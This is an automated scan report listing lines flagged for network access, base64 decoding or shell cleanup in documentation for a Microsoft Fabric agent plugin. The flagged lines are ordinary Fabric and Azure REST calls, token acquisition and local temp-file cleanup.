harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/ONTOLOGY-AUTHORING-CORE.md
- Network accessline 210
"workspaceId": "580f410e-733d-43bd-8a87-be12b536f7ff", "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd", "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", - Network accessline 211
"itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd", "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", "databaseName": "Zava_Telemetry", - Network accessline 212
"clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", - Network accessline 295
{ "displayText": "Install guide", "url": "https://example.com/guide" } - Network accessline 323
All calls target `https://api.fabric.microsoft.com` and require the `https://api.fabric.microsoft.com` token audience.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/authoring-mechanics.md
- Network accessline 84
1. A `.platform` JSON with `{ "metadata": { "type": "Ontology", "displayName": "<name>" } }`. 2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode e - Network accessline 85
2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/ite - Network accessline 86
3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/items`. - Network accessline 87
4. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (from the `x-ms-operation-id` header) until `Succeeded`; capture the new ontology item ID. - Network accessline 91
> ```bash > ONTO_ID=$(az rest --method GET \ > --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 92
> ONTO_ID=$(az rest --method GET \ > --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ > --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
> --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 94
> --resource "https://api.fabric.microsoft.com" \ - Network accessline 96
> ``` > > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capt - Network accessline 98
> To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capture](../ - Network accessline 317
> **`getDefinition` typically returns 202 (LRO)**, not 200 with inline data. You must: > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: - Network accessline 318
> 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/re - Network accessline 319
> 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` - Network accessline 320
> 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result` to retrieve the actual definition envelope > > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` heade - Network accessline 322
> Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` header — the latter redirects to an `analysis.windows.net` host that fails `az rest --resource https://api.fabric.microsoft.com` - Network accessline 329
# script in definition-script-templates.md. az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 330
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 331
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 332
--resource "https://api.fabric.microsoft.com" \ - Network accessline 339
# 3. Send the updated envelope (also LRO — poll the Location header) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \ - Network accessline 340
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" - Network accessline 341
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \ - Network accessline 342
--resource "https://api.fabric.microsoft.com" \ - Network accessline 347
Both `createItem` and `updateDefinition` return **long-running operations**. `getDefinition` is also LRO-capable — it may return the envelope directly (`200 OK`) **or** a `202 Accepted` carrying an `x-ms-operation-id` header; in the 202 cas - Network accessline 359
# returns 202, fall back to the LRO-aware script in definition-script-templates.md. az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 360
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 361
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 362
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/definition-script-templates.md
- Network accessline 14
`getDefinition` is long-running-operation-capable: it may return **200 OK** with the envelope inline, or **202 Accepted** with an `x-ms-operation-id` header. For 202, poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until - Network accessline 20
: "${WS_ID:?set WS_ID}"; : "${ONTO_ID:?set ONTO_ID}" WORK=$(mktemp -d) FABRIC_BASE="https://api.fabric.microsoft.com" - Network accessline 21
[Credential-related source omitted] - Network accessline 22
FABRIC_BASE="https://api.fabric.microsoft.com" - Network accessline 25
# 1. Fetch current definition (handle 200 or 202 LRO) getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \ - Network accessline 26
getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \ - Network accessline 35
[Credential-related source omitted] - Network accessline 36
[Credential-related source omitted] - Network accessline 37
[Credential-related source omitted] - Network accessline 39
[Credential-related source omitted] - Network accessline 40
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Network accessline 44
[Credential-related source omitted] - Network accessline 45
[Credential-related source omitted] - Network accessline 65
# Note: base64 -w 0 is GNU-only; on macOS use `base64 | tr -d '\n'`. PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ - Network accessline 66
PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ '{path:$path,payload:$payload,payloadType:"InlineBase64"}' - Network accessline 67
jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ - Network accessline 73
# 5. Send update (also an LRO — poll Location until Succeeded) upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \ - Network accessline 74
upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \ - Network accessline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 86
[Credential-related source omitted] - Network accessline 88
[Credential-related source omitted] - Network accessline 89
[Credential-related source omitted] - Network accessline 90
[Credential-related source omitted] - Network accessline 101
> Both `getDefinition` and `updateDefinition` are LRO-capable; the template above captures `x-ms-operation-id` and polls `https://api.fabric.microsoft.com/v1/operations/{id}` (not the `Location` redirect host). See COMMON-CLI.md § Long-Runn - Network accessline 114
$work = New-Item -ItemType Directory -Path (Join-Path $env:TEMP ("onto-" + [guid]::NewGuid())) $base = "https://api.fabric.microsoft.com" - Network accessline 115
$base = "https://api.fabric.microsoft.com" - Network accessline 119
# 1. Fetch (handle 200 or 202 LRO) - Possible obfuscationline 144
[IO.File]::WriteAllBytes($out, [Convert]::FromBase64String($p.payload))
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/examples.md
- Network accessline 25
# Alternative: Fabric Tables API (table names only — no columns) az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \ - Network accessline 26
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" - Network accessline 27
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \ - Network accessline 28
--resource "https://api.fabric.microsoft.com" - Network accessline 37
[Credential-related source omitted] - Network accessline 39
# FASTEST: get ALL table schemas in the database in one call curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \ - Network accessline 40
curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \ - Network accessline 79
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 81
--resource "https://api.fabric.microsoft.com" \ - Network accessline 86
> Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (capture `x-ms-operation-id` via `--verbose`) until `Succeeded`, then resolve `ONTO_ID` by listing `Ontology` items in the workspace. Do not poll the raw `Location` heade - Network accessline 99
# --- Build the new parts --- ET_JSON=$(jq -nc \ - Network accessline 100
ET_JSON=$(jq -nc \ - Network accessline 112
BIND_JSON=$(jq -nc \ - Network accessline 146
REL_JSON=$(jq -nc --arg id "$OPERATES_REL_ID" --arg src "$HUB_ET_ID" --arg tgt "$AIRCRAFT_ET_ID" \ - Network accessline 150
CTX_JSON=$(jq -nc \ - Network accessline 177
# entries to timeseriesProperties[], base64-encode, splice back in. Pseudo # below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \ - Network accessline 178
# below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \ --arg tsId "$AIRCRAFT_TS_TIMESTAMP_ID" \ - Network accessline 179
TS_PROPS_JSON=$(jq -nc \ - Network accessline 189
# are both required (CORE: timeseriesProperties must include a timestamp # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \ - Network accessline 190
# property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \ --arg id "$TS_BIND_GUID" \ - Network accessline 191
TS_BIND_JSON=$(jq -nc \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/preview-and-confirm.md
- Network accessline 202
# Step A — fetch current state (after Step 3 of the workflow) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 203
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 204
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 205
--resource "https://api.fabric.microsoft.com" -o json > /tmp/onto.current.json
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption.md
- Network accessline 17
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs before enumera - Network accessline 18
| Fabric Topology & Key Concepts | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts) | Workspace → Item hierarchy - Network accessline 19
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition) | Use `https://api.fabric.microsoft.com` audience for contr - Network accessline 22
| Rate Limiting & Throttling | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling) | - Network accessline 23
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login`; token acquisition - Network accessline 24
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always** pass `--resource https://api.fabric.microsoft. - Network accessline 80
- Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`). - Network accessline 86
`Get Item Definition` is Long-Running-Operation-capable. Depending on tenant/SKU, the POST may return the definition envelope inline (`200 OK`) **or** return `202 Accepted` with an `x-ms-operation-id` header; for the 202 case, poll `https:/ - Network accessline 88
> **Ontology-preview gotcha — prefer polling the `operations/{id}` endpoint over the `Location` header.** The public Fabric LRO contract supports either, but on this Ontology LRO the `Location` header has been observed redirecting to an `*. - Network accessline 208
| Symptom | Fix | |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto. - Network accessline 209
|---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for E - Network accessline 210
| `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for EH). | - Dangerous shell operationline 228
| Situation | Inline (`az rest` / `curl`) | Python / shell script |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/examples.md
- Network accessline 18
WS_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 19
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 20
--resource "https://api.fabric.microsoft.com" \ - Network accessline 23
ONT_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 24
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 25
--resource "https://api.fabric.microsoft.com" \ - Dangerous shell operationline 207
rm -rf ./_ont
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/graph-walks.md
- Network accessline 46
Import-Module Az.Accounts $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token - Network accessline 47
$FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token - Network accessline 48
$STOK = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com" -WarningAction SilentlyContinue).Token - Network accessline 49
# Optional, for KQL: $KTOK = (Get-AzAccessToken -ResourceUrl "https://kusto.kusto.windows.net" ...).Token - Network accessline 59
$specs = @(@{key="anchor";lh=$lhId;tbl="panels"}) + $linkSpecs + $neighborSpecs $results = $specs | ForEach-Object -Parallel { $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv" - Network accessline 60
[Credential-related source omitted] - Network accessline 61
$u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/grounding-extraction.md
- Network accessline 20
# 1. Kick off the LRO, capture the operation id (stays on api.fabric.microsoft.com) OP_ID=$(az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \ - Network accessline 21
OP_ID=$(az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" - Network accessline 22
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \ - Network accessline 23
--resource "https://api.fabric.microsoft.com" \ - Network accessline 29
exit 1 fi OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 31
OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 33
# 2. Poll until Succeeded (prefer the operations endpoint; Location polling is also supported with the right audience) while :; do STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status - Network accessline 34
while :; do STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status') case "$STATE" in - Network accessline 35
STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status') - Network accessline 37
Succeeded) break ;; Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; \ az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 38
Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 39
az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 44
# 3. Retrieve the result DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com") - Network accessline 45
DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com") - Possible obfuscationline 54
printf '%s' "$P_PAYLOAD" | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" - Possible obfuscationline 55
| python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" \ - Network accessline 75
# 1. Kick off LRO; az rest emits the x-ms-operation-id header on the debug channel $verbose = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" ` - Network accessline 76
$verbose = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" - Network accessline 77
--url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" ` - Network accessline 78
--resource "https://api.fabric.microsoft.com" ` - Network accessline 81
$opId = ($verbose -split "`n" | Where-Object { $_ -match 'x-ms-operation-id:\s*(\S+)' } | ForEach-Object { $matches[1] } | Select-Object -First 1) if (-not $opId) { throw "No x-ms-operation-id captured from getDefinition" } $opUrl = "https: - Network accessline 83
$opUrl = "https://api.fabric.microsoft.com/v1/operations/$opId" - Network accessline 85
# 2. Poll the operations endpoint (preferred; Location polling is also supported with the right audience) while ($true) { $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 86
while ($true) { $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json $state = $op.status - Network accessline 87
$op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 97
# 3. Retrieve result $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 98
$def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Possible obfuscationline 105
$bytes = [Convert]::FromBase64String($part.payload)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/query-pattern.md
- Network accessline 9
- **SQL (Lakehouse/Warehouse)**: `https://database.windows.net/.default` - Network accessline 11
- **KQL (Eventhouse)**: `https://kusto.kusto.windows.net/.default` (NOT `kusto.fabric.microsoft.com`) - Network accessline 13
- **Fabric REST API**: `https://api.fabric.microsoft.com/.default` - Network accessline 45
- Kusto URI discovery: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/kqlDatabases/{db_id}` → `properties.queryServiceUri` - Network accessline 63
- List workspace items: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/routing.md
- Network accessline 214
| Delegate returns 0 rows on a non-empty source | Casing mismatch on `sourceTableName` or stale `clusterUri` | Compare binding fields to live source; if still mismatched, switch to `fabriciq-ontology-cli` authoring mode | | Delegate times o - Network accessline 215
| Delegate times out | Missing time filter on `TimeSeries` | Add `where <timestampColumnName> > ago(…)` / `>= DATEADD(...)`, retry | | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check - Network accessline 216
| Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check the delegate's own connection contract (EH: `https://kusto.kusto.windows.net`; Spark: Fabric token; SQL: Fabric token) |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/SKILL.md
- Network accessline 28
> workspace, then filter by `displayName`. > 2. All Git operations are **control plane** calls against > `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` - Network accessline 29
> 2. All Git operations are **control plane** calls against > `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` > sets the base URL and Fabric token audience automatically. With the `az rest` - Network accessline 30
> `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` - Network accessline 119
- `fab api` (after `fab auth login`) as the **primary** driver: it sets the base URL and Fabric token audience automatically, avoiding the 401 wrong-audience trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as th - Network accessline 120
URL and Fabric token audience automatically, avoiding the 401 wrong-audience trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the **fallback** when `fab` is unavailable or you need fine-grained header control. - Network accessline 121
trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the - Network accessline 154
- `fab api <endpoint>` becomes `az rest --method GET --url "https://api.fabric.microsoft.com/v1/<endpoint>" --resource "https://api.fabric.microsoft.com"`. - Network accessline 175
| Workspace has capacity | `fab api "workspaces/${WORKSPACE_ID}"` → check `capacityId` | `WorkspaceHasNoCapacityAssigned` → assign a capacity (Git requires one) | | Git credential for the SP path | `fab api connections` (reuse if one alread - Network accessline 177
[Credential-related source omitted] - Network accessline 223
[Credential-related source omitted] - Network accessline 224
[Credential-related source omitted] - Network accessline 225
[Credential-related source omitted] - Network accessline 226
> "https://api.github.com/repos/${OWNER}/${REPO}/contents/${DIR}/README.md" -d @mkfolder.json - Network accessline 267
git provider credentials, then pass its `id` as the `connectionId` in the `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 268
`myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) (`POST /v1/connections`, delegated scope `Connection.ReadWrite.All`). A service - Network accessline 269
[Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 274
**Information you must supply (Azure DevOps):** - ADO **organization**, **project**, and **repository** names, combined into one `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - Network accessline 275
- ADO **organization**, **project**, and **repository** names, combined into one `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - The service principal's **tenant ID**, **client (application) ID**, and - Network accessline 276
`url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - Dangerous shell operationline 290
trap 'rm -f connection.json' EXIT - Network accessline 299
"parameters": [ { "dataType": "Text", "name": "url", "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } - Network accessline 300
{ "dataType": "Text", "name": "url", "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } ] - Network accessline 301
"value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } - Network accessline 595
| Operation returns `202` then nothing changes | Async not yet complete | Poll `operations/{id}` (from `--show_headers`), or poll `git/status` until heads match | | Operation stuck in `Running` for a long time | Large workspace or a second - Network accessline 596
| Operation stuck in `Running` for a long time | Large workspace or a second Git op is queued | Keep polling with a sane timeout (about 10 min); never start a second Git op concurrently | | `401 Unauthorized` | Wrong token audience | Run `f - Network accessline 597
| `401 Unauthorized` | Wrong token audience | Run `fab auth login` (fab sets the audience automatically); on the `az rest` fallback pass `--resource https://api.fabric.microsoft.com` | - Network accessline 622
# status az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \ - Network accessline 623
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" - Network accessline 624
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \ - Network accessline 625
--resource "https://api.fabric.microsoft.com" - Network accessline 627
# commit (body inline) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \ - Network accessline 628
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" - Network accessline 629
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \ - Network accessline 630
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/automation-templates.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/git-integration-concepts.md
- Network accessline 154
- [Overview of Fabric Git integration](https://learn.microsoft.com/fabric/cicd/git-integration/intro-to-git-integration) (providers, supported items; updated 2026-07-08). - Network accessline 155
- [Git integration process](https://learn.microsoft.com/fabric/cicd/git-integration/git-integration-process) (concepts, sync, folders, permissions; updated 2026-07-08). - Network accessline 156
- [Git integration admin settings](https://learn.microsoft.com/fabric/admin/git-integration-admin-settings) (tenant switches; updated 2026-07-01).
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/code-patterns.md
- Network accessline 124
# BEFORE — HDInsight: copy file via HDFS API from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") - Network accessline 125
from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") client.copy("/data/input/file.csv", "/data/archive/file.csv") - Network accessline 126
client = InsecureClient("http://namenode:50070") - Network accessline 143
[Credential-related source omitted] - Network accessline 144
[Credential-related source omitted] - Network accessline 145
"https://mykeyvault.vault.azure.net/", - Network accessline 171
<shell> <exec>curl</exec> <argument>-X POST https://api.example.com/trigger</argument> - Network accessline 172
<exec>curl</exec> <argument>-X POST https://api.example.com/trigger</argument> </shell> - Network accessline 173
<argument>-X POST https://api.example.com/trigger</argument> - Network accessline 184
"type": "WebActivity", "typeProperties": { "url": "https://api.example.com/trigger", - Network accessline 185
"typeProperties": { "url": "https://api.example.com/trigger", "method": "POST", - Network accessline 186
"url": "https://api.example.com/trigger",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/path-migration.md
- Network accessline 66
The [OneLake shortcut overview](https://learn.microsoft.com/en-us/fabric/onelake/onelake-shortcuts) - Network accessline 67
lists the supported shortcut sources. The [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google - Network accessline 68
[on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) - Network accessline 69
limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connecto - Network accessline 70
Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview) documents HDFS as a Copy activity and Copy job sou - Network accessline 71
The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/SKILL.md
- Network accessline 88
| Target | Token Audience | |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | - Network accessline 89
|---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` | - Network accessline 90
| Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | - Network accessline 91
| Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` | - Network accessline 92
| Fabric REST API (create pipelines, connections, Variable Libraries) | `https://api.fabric.microsoft.com` | - Network accessline 98
| Operation | Endpoint | |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | - Network accessline 99
|---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` | - Network accessline 100
